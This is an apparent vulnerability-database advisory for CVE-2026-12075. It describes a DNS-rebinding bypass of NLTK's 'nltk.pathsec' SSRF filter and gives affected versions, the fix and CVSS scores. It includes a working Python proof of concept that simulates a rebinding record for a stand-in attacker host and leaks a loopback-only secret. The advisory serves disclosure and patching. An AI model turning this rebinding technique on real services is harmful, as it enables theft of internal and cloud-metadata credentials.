Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-12075
Published:July 31, 2026
Updated:August 04, 2026
Summary "nltk.pathsec" provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict "ENFORCE" mode for security-sensitive environments. The filter is bypassable by DNS rebinding: "validate_network_url()" resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under "nltk.pathsec.ENFORCE = True". Details "urlopen()" validates, then hands the raw hostname to "urllib", which performs a second name resolution deep in the connection layer ("http.client.HTTPConnection.connect" → "socket.create_connection" → "socket.getaddrinfo"). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. "validate_network_url()" calls "_resolve_hostname(parsed.hostname)" and checks each returned IP against loopback/link-local/multicast/private, blocking under "ENFORCE". (Resolution #1.) 2. "urlopen()" then calls "build_opener(...).open(url)" with the original URL (raw hostname), so "urllib" resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) "_resolve_hostname" is decorated with "lru_cache" and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's "getaddrinfo" does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. PoC import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.version} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fetching {evil}") try: body = fetch(evil) leaked = SECRET in body print(f" body returned to caller: {body!r}") if leaked: print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen") print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1") print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print("\n [?] fetch succeeded but secret marker not present") verdict = "INCONCLUSIVE" except PermissionError as e: # Patched build: validate against the connect-time IP (or pin/resolve-once). print(f"\n [SAFE] blocked -> PermissionError: {e}") verdict = "NOT VULNERABLE" finally: socket.getaddrinfo = _real_getaddrinfo print("\n" + "=" * 62) print(f" Control (direct loopback blocked): {control_ok}") print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 62) if name == "main": main() Impact - Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. "nltk.data.load" with "format="raw""), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the "nltk.pathsec" SSRF filter, including the "ENFORCE" mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the "lru_cache" annotation claiming to mitigate rebinding makes the false assurance worse.
Affected Packages
nltk (CONDA):
Affected version(s) >=2.0.3 <3.10.0
Fix Suggestion:
Update to version 3.10.0
nltk (PYTHON):
Affected version(s) >=0.8 <3.10.0
Fix Suggestion:
Update to version 3.10.0
Do you need more information?
Contact Us
CVSS v4
Base Score:
9.2
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
8.6
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
NONE
Availability
NONE
Weakness Type (CWE)
Server-Side Request Forgery (SSRF)